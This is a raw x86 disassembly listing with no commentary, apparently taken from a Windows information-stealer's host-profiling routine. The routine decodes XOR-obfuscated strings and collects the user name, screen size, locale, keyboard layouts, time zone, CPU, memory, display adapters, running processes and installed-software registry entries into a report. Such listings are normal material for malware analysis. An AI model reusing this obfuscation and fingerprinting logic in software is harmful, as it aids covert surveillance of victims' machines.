call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x546d00]
xor ecx, ecx
mov dword [ebp - 0xbd], 0xf8ecfbd2
mov dword [ebp - 0xb9], 0xe3ecc2ab
mov byte [ebp - 0xb5], 0xea
movups xmmword [ebp - 0xb4], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 0xf
jb 0x410ee0
lea eax, [ebp - 0xbd]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0xae], 0
call fcn.00402ab0
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0xe10]
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
push ecx
push eax
push esi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x5c]
call fcn.00402a10
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x2e0]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x54a120]
xor ecx, ecx
movups xmmword [ebp - 0x89], xmm0
mov dword [ebp - 0x79], 0xbaa3f6f8
movaps xmm0, xmmword [0x546dd0]
mov byte [ebp - 0x75], 0xbe
movups xmmword [ebp - 0x74], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x89], al
inc ecx
cmp ecx, 0x1b
jb 0x410f70
lea eax, [ebp - 0x89]
mov dword [0x55d618], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
push dword [ebp - 0x2d4]
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push dword [ebp - 0x2d8]
cmovae eax, dword [ebp - 0x5c]
push eax
push esi
call fcn.00402f70
add esp, 0x10
lea ecx, [ebp - 0x5c]
call fcn.00402a10
push 0x400
lea eax, [ebp - 0x1410]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x1410]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x549a00]
xor ecx, ecx
test eax, eax
je 0x411058
movups xmmword [ebp - 0x85], xmm0
mov byte [ebp - 0x75], 0xad
movaps xmm0, xmmword [0x546c70]
movups xmmword [ebp - 0x74], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x85], al
inc ecx
cmp ecx, 0x17
jb 0x411010
lea eax, [ebp - 0x85]
mov dword [0x55d5bc], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0x1410]
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
push ecx
push eax
push esi
call fcn.00402f70
add esp, 0xc
jmp 0x4110b4
movups xmmword [ebp - 0x89], xmm0
mov dword [ebp - 0x79], 0xf4ccb8ad
movaps xmm0, xmmword [0x546dc0]
mov byte [ebp - 0x75], 0xf0
movups xmmword [ebp - 0x74], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x89], al
inc ecx
cmp ecx, 0x1b
jb 0x411075
lea eax, [ebp - 0x89]
mov dword [0x55d618], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
push eax
push esi
call fcn.00402f70
add esp, 8
lea ecx, [ebp - 0x5c]
call fcn.00402a10
movaps xmm0, xmmword [0x549860]
xor ecx, ecx
movups xmmword [ebp - 0x82], xmm0
mov dword [ebp - 0x72], 0xbaa3ebf2
xorps xmm0, xmm0
mov word [ebp - 0x66], 0
movq qword [ebp - 0x6e], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x82], al
inc ecx
cmp ecx, 0x14
jb 0x4110e1
lea eax, [ebp - 0x82]
mov dword [0x55d540], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
push eax
push esi
call fcn.00402f70
add esp, 8
lea ecx, [ebp - 0x5c]
call fcn.00402a10
push 0x200
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
push 0
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov dword [ebp - 0x3c], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x41124b
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor esi, esi
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x41123f
mov edi, dword [ebp - 0x40]
push 0x200
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 0x34]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x4111b2
lea eax, [ebp - 0x1010]
push eax
push edi
call fcn.00402f70
add esp, 8
jmp 0x41121c
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0xafa9a7a7
mov byte [ebp - 0x20], 0xf8
xor ecx, ecx
movq qword [ebp - 0x1f], xmm0
mov word [ebp - 0x17], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 5
jb 0x4111d0
lea eax, [ebp - 0x24]
mov dword [0x55d544], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
or dword [ebp - 0x14], 0x8000000
lea ecx, [ebp - 0x5c]
call fcn.00402b50
lea ecx, [ebp - 0x1010]
push ecx
push eax
push edi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x5c]
call fcn.00402a10
push 0x200
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.004fd0d0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x3c]
jb 0x411180
mov edi, dword [ebp - 0x14]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x40]
lea eax, [ebp - 0x1d0]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x1d0], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x549880]
xor ecx, ecx
movups xmmword [ebp - 0x8f], xmm0
mov byte [ebp - 0x6f], 0xad
movaps xmm0, xmmword [0x5488d0]
movups xmmword [ebp - 0x7f], xmm0
mov word [ebp - 0x66], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6e], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x21
jb 0x411290
lea eax, [ebp - 0x8f]
mov dword [0x55d578], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x5c]
or edi, 0x40000
call fcn.00402b50
movzx ecx, word [ebp - 0x1c4]
mov edx, eax
movzx eax, word [ebp - 0x1ca]
push ecx
movzx ecx, word [ebp - 0x1c6]
push ecx
movzx ecx, word [ebp - 0x1c8]
push ecx
movzx ecx, word [ebp - 0x1d0]
push ecx
movzx ecx, word [ebp - 0x1ce]
push ecx
push eax
push edx
push esi
call fcn.00402f70
add esp, 0x20
lea ecx, [ebp - 0x5c]
call fcn.00402a10
lea eax, [ebp - 0x2d0]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x2d0], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x5d0]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x5d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x314]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x5d0]
push eax
movups xmmword [ebp - 0x314], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x5d0]
xor ecx, ecx
cvtdq2ps xmm0, xmm0
mov byte [ebp - 0xaf], 0x9d
mov word [ebp - 0xa6], 0
divss xmm0, dword [0x546b40]
xorps xmm0, xmmword [0x5486c0]
movss dword [ebp - 0x3c], xmm0
movaps xmm0, xmmword [0x5487c0]
movups xmmword [ebp - 0xbf], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0xae], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xbf], al
inc ecx
cmp ecx, 0x11
jb 0x4113b5
lea eax, [ebp - 0xbf]
mov dword [0x55d634], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0xae], 0
call fcn.00402ab0
lea ecx, [ebp - 0x5c]
or edi, 0x100000
call fcn.00402b50
cvttss2si ecx, dword [ebp - 0x3c]
push ecx
push eax
push esi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x5c]
call fcn.00402a10
movaps xmm0, xmmword [0x546cd0]
xor ecx, ecx
mov dword [ebp - 0x2d], 0xc2d2828a
mov dword [ebp - 0x29], 0xf9e9feea
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0xe
jb 0x411423
lea eax, [ebp - 0x2d]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
lea ecx, [ebp - 0x5c]
or edi, 0x20000
call fcn.00402b50
push eax
push esi
call fcn.00402f70
add esp, 8
lea ecx, [ebp - 0x5c]
call fcn.00402a10
movaps xmm0, xmmword [0x548d60]
xor ecx, ecx
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x13c], 0
movaps xmm0, xmmword [0x5491a0]
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], 0xfac5c9d5
movaps xmm0, xmmword [0x546bb0]
mov dword [ebp - 0x78], 0xcbcec3d9
movups xmmword [ebp - 0x74], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x9c], al
inc ecx
cmp ecx, 0x2e
jb 0x4114b0
lea eax, [ebp - 0x9c]
mov dword [0x55d5c8], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x5c]
or edi, 0x200000
call fcn.00402b50
lea ecx, [ebp - 0x13c]
push ecx
push 0x20019
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x411642
movaps xmm0, xmmword [0x5495a0]
xor ecx, ecx
movups xmmword [ebp - 0x81], xmm0
mov dword [ebp - 0x60], 0x20019
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0x400
mov word [ebp - 0x71], 0xf6fe
mov byte [ebp - 0x6f], 0xfe
movq qword [ebp - 0x6e], xmm0
mov word [ebp - 0x66], si
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x81], al
inc ecx
cmp ecx, 0x13
jb 0x411550
lea eax, [ebp - 0x81]
mov dword [0x55d5a8], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x5c]
or edi, 0x2000000
call fcn.00402b50
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0xaf8]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push 0
push eax
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x5c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x411636
movaps xmm0, xmmword [0x546d00]
xor ecx, ecx
mov dword [ebp - 0xbd], 0xe9e6fad7
mov dword [ebp - 0xb9], 0xe1feffee
mov byte [ebp - 0xb5], 0xfd
movups xmmword [ebp - 0xb4], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 0xf
jb 0x4115e3
lea eax, [ebp - 0xbd]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0xae], 0
call fcn.00402ab0
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0xaf8]
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
push ecx
push eax
push dword [ebp - 0x40]
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x5c]
call fcn.00402a10
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x2e4], 0
lea eax, [ebp - 0x304]
push eax
movups xmmword [ebp - 0x304], xmm0
movups xmmword [ebp - 0x2f4], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movaps xmm0, xmmword [0x546d10]
xor ecx, ecx
mov dword [ebp - 0xbd], 0xaadcd8c4
mov dword [ebp - 0xb9], 0xe0f8e3c8
mov byte [ebp - 0xb5], 0xfb
movups xmmword [ebp - 0xb4], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 0xf
jb 0x411695
lea eax, [ebp - 0xbd]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0xae], 0
call fcn.00402ab0
or edi, 0x80000
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x14], edi
call fcn.00402b50
push dword [ebp - 0x2f0]
mov esi, dword [ebp - 0x40]
push eax
push esi
call fcn.00402f70
add esp, 0xc
lea ecx, [ebp - 0x5c]
call fcn.00402a10
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x3d0], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x41177f
movaps xmm0, xmmword [0x546c80]
xor ecx, ecx
mov dword [ebp - 0x2b], 0xb0c4c9d5
mov word [ebp - 0x27], 0xa9ab
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0xc
jb 0x411723
lea eax, [ebp - 0x2b]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
or edi, 0x4000000
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x14], edi
call fcn.00402b50
mov edx, dword [ebp - 0x3c8]
mov ecx, dword [ebp - 0x3c4]
shrd edx, ecx, 0x14
shr ecx, 0x14
push ecx
push edx
push eax
push esi
call fcn.00402f70
add esp, 0x10
lea ecx, [ebp - 0x5c]
call fcn.00402a10
lea ecx, [ebp - 0x164]
call fcn.00481e80
lea ecx, [ebp - 0x164]
mov byte [ebp - 4], 0x2e
call fcn.00481ce0
push 0x1a4
lea eax, [ebp - 0x89c]
mov dword [ebp - 0x64], 0
push 0
push eax
mov dword [ebp - 0x8a0], 0x1a8
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x8a0]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x41198a
nop dword [eax + eax]
mov edi, dword [ebp - 0x160]
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov eax, 0x2aaaaaab
mov ecx, edi
sub ecx, dword [ebp - 0x164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x411872
xor esi, esi
nop dword [eax + eax]
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402ab0
mov ecx, dword [ebp - 0x164]
add ecx, esi
push eax
call fcn.0048a800
lea ecx, [ebp - 0x10c]
mov byte [ebp - 0x15], al
call fcn.00402a10
cmp byte [ebp - 0x15], 0
jne 0x411943
mov edi, dword [ebp - 0x160]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x34]
mov ecx, edi
sub ecx, dword [ebp - 0x164]
add esi, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x34], eax
jb 0x411810
sub edi, dword [ebp - 0x164]
mov eax, 0x2aaaaaab
movaps xmm0, xmmword [0x548930]
imul edi
movups xmmword [ebp - 0x81], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x6e], xmm0
mov word [ebp - 0x71], 0x95e4
sar edx, 2
mov esi, edx
mov byte [ebp - 0x6f], 0x93
shr esi, 0x1f
add esi, edx
mov word [ebp - 0x66], 0
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x81], al
inc ecx
cmp ecx, 0x13
jb 0x4118b1
lea eax, [ebp - 0x81]
mov dword [0x55d5a8], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
or dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x158]
call fcn.00402b50
lea ecx, [ebp - 0x87c]
push ecx
push esi
push eax
push dword [ebp - 0x40]
call fcn.00402f70
add esp, 0x10
lea ecx, [ebp - 0x158]
call fcn.00402a10
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00402ab0
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x164]
call fcn.004883e0
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x2e
call fcn.00402a10
mov esi, dword [ebp - 0x64]
lea eax, [ebp - 0x89c]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x8a0], 0x1a8
push eax
mov dword [ebp - 0x64], esi
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x8a0]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x4117e0
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x40]
movaps xmm0, xmmword [0x546cf0]
xor ecx, ecx
mov dword [ebp - 0x10c], 0xdad2828a
mov dword [ebp - 0x108], 0xebeee3f9
mov byte [ebp - 0x104], 0xfc
movups xmmword [ebp - 0x103], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x10c], al
inc ecx
cmp ecx, 0xf
jb 0x4119b5
lea eax, [ebp - 0x10c]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0xfd], 0
call fcn.00402ab0
or edi, 0x1000
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x14], edi
call fcn.00402b50
push eax
push esi
call fcn.00402f70
add esp, 8
lea ecx, [ebp - 0x158]
call fcn.00402a10
push 0
push 2
mov dword [ebp - 0x6f8], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x411af0
lea eax, [ebp - 0x6f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x411ae9
lea eax, [ebp - 0x6f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x411ae9
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
movaps xmm0, xmmword [0x546bc0]
xor ecx, ecx
mov word [ebp - 0x28], 0xfba2
mov byte [ebp - 0x26], 0xa9
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 9
jb 0x411a77
lea eax, [ebp - 0x28]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
or dword [ebp - 0x14], 0x200
lea ecx, [ebp - 0x158]
call fcn.00402b50
push dword [ebp - 0x6f0]
lea ecx, [ebp - 0x6d4]
push ecx
push eax
push dword [ebp - 0x40]
call fcn.00402f70
add esp, 0x10
lea ecx, [ebp - 0x158]
call fcn.00402a10
lea eax, [ebp - 0x6f8]
push eax
push esi
call edi
test eax, eax
jne 0x411a60
mov edi, dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x546cd0]
xor ecx, ecx
mov dword [ebp - 0x2d], 0xd9d2828a
mov dword [ebp - 0x29], 0xf9f9eae4
movups xmmword [ebp - 0x25], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0xe
jb 0x411b10
lea eax, [ebp - 0x2d]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
lea ecx, [ebp - 0x158]
or edi, 0x2000
call fcn.00402b50
mov esi, dword [ebp - 0x40]
push eax
push esi
call fcn.00402f70
add esp, 8
lea ecx, [ebp - 0x158]
call fcn.00402a10
movaps xmm0, xmmword [0x549e50]
xor ecx, ecx
movups xmmword [ebp - 0xa1], xmm0
mov word [ebp - 0x71], 0xd4d6
movaps xmm0, xmmword [0x548c00]
movups xmmword [ebp - 0x91], xmm0
mov byte [ebp - 0x6f], 0xd5
movaps xmm0, xmmword [0x548b10]
movups xmmword [ebp - 0x81], xmm0
mov word [ebp - 0x66], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6e], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xa1], al
inc ecx
cmp ecx, 0x33
jb 0x411ba4
lea eax, [ebp - 0xa1]
mov dword [0x55d5f0], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x6e], 0
call fcn.00402ab0
or edi, 0x800
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x14], edi
call fcn.00402b50
mov edi, eax
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x38], edi
call fcn.00402a10
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0
push eax
push 0x20019
push 0
push edi
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411f16
xor edi, edi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x400
push eax
lea eax, [ebp - 0xaf8]
push eax
push edi
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x411f01
xorps xmm0, xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], 0xafd5fba2
xor ecx, ecx
mov byte [ebp - 0x20], 0xf8
movq qword [ebp - 0x1f], xmm0
mov word [ebp - 0x17], ax
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 5
jb 0x411c71
lea eax, [ebp - 0x24]
mov dword [0x55d544], ecx
push eax
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
or dword [ebp - 0x14], 0x400
lea ecx, [ebp - 0x1b8]
call fcn.00402b50
lea ecx, [ebp - 0xaf8]
push ecx
push dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x1810]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x1b8]
call fcn.00402a10
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1810]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x411efe
movaps xmm0, xmmword [0x548050]
xor ecx, ecx
mov dword [ebp - 0x60], 0xf003f
mov dword [ebp - 0x40], 0x400
mov dword [ebp - 0xd5], 0xfafae1c3
mov byte [ebp - 0xd1], 0xe7
movups xmmword [ebp - 0xd0], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd5], al
inc ecx
cmp ecx, 0xb
jb 0x411d24
lea eax, [ebp - 0xd5]
mov dword [0x55d530], ecx
push eax
lea ecx, [ebp - 0x26c]
mov byte [ebp - 0xca], 0
call fcn.00402ab0
mov eax, dword [ebp - 0x14]
or eax, 0x4000
or eax, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x64], eax
call fcn.00402b50
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x2010]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push 0
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x411e25
movaps xmm0, xmmword [0x5482b0]
xor ecx, ecx
mov dword [ebp - 0xf0], 0xfafae1c3
mov dword [ebp - 0xec], 0xd8f4ede7
movups xmmword [ebp - 0xe8], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xf0], al
inc ecx
cmp ecx, 0xe
jb 0x411dc0
lea eax, [ebp - 0xf0]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 0xe2], 0
call fcn.00402ab0
or dword [ebp - 0x14], 0x10008
lea ecx, [ebp - 0x1b8]
call fcn.00402b50
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x1c10]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push 0
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov byte [ebp - 0x15], 1
test eax, eax
je 0x411e29
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test al, 8
je 0x411e44
and eax, 0xfffffff7
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x14], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x2e
test al, 4
je 0x411e60
and eax, 0xfffffffb
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x14], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x411ef5
movaps xmm0, xmmword [0x546bd0]
xor ecx, ecx
mov word [ebp - 0xd3], 0xfba2
mov byte [ebp - 0xd1], 0xa9
movups xmmword [ebp - 0xd0], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 9
jb 0x411e90
lea eax, [ebp - 0xd3]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 0xca], 0
call fcn.00402ab0
or dword [ebp - 0x14], 0x8000
lea ecx, [ebp - 0x1b8]
call fcn.00402b50
lea ecx, [ebp - 0x1c10]
push ecx
lea ecx, [ebp - 0x2010]
push ecx
push eax
push esi
call fcn.00402f70
add esp, 0x10
lea ecx, [ebp - 0x1b8]
call fcn.00402a10
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x3c]
inc edi
test eax, eax
je 0x411c23
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.00504958
add esp, 4
lea ecx, [ebp - 0x164]
call fcn.00485200
lea ecx, [ebp - 0x284]
call fcn.00402a10
lea ecx, [ebp - 0x208]
call fcn.00402a10
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 6
call fcn.00402a10
sub esp, 0x18
mov byte [ebp - 0x15], 1
mov esi, esp
lea eax, [ebp - 0x2c0]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00483010
mov ecx, esi
call fcn.0040d3d0
mov dl, byte [ebp - 0x15]
lea ecx, [ebp - 0x254]
add esp, 0x18
call fcn.0040ee70
add esp, 0x18
mov byte [ebp - 4], 0x31
xorps xmm0, xmm0
mov word [ebp - 0x118], 0xeaf0
xor ecx, ecx
movq qword [ebp - 0x116], xmm0
mov word [ebp - 0x10e], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x118], al
inc ecx
cmp ecx, 2
jb 0x411fb0
lea eax, [ebp - 0x118]
mov dword [0x55d598], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x116], 0
call fcn.00402ab0
lea ecx, [ebp - 0x158]
call fcn.00402b50
lea ecx, [ebp - 0x2c0]
mov esi, eax
call fcn.00402b50
push esi
push eax
call fcn.00500f40
add esp, 8
lea ecx, [ebp - 0x158]
mov esi, eax
call fcn.00402a10
test esi, esi
je 0x41203f
cmp dword [ebp - 0x240], 0x10
lea ecx, [ebp - 0x254]
push esi
push dword [ebp - 0x244]
cmovae ecx, dword [ebp - 0x254]
push 1
push ecx
call fcn.00508d46
push esi
call fcn.00504958
add esp, 0x14
lea ecx, [ebp - 0x254]
call fcn.00402a10
lea ecx, [ebp - 0x2c0]
call fcn.00402a10
lea ecx, [ebx + 8]
call fcn.00402a10
lea ecx, [ebx + 0x20]
call fcn.00402a10
lea ecx, [ebx + 0x38]
call fcn.00402a10
lea ecx, [ebx + 0x50]
call fcn.00402a10
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret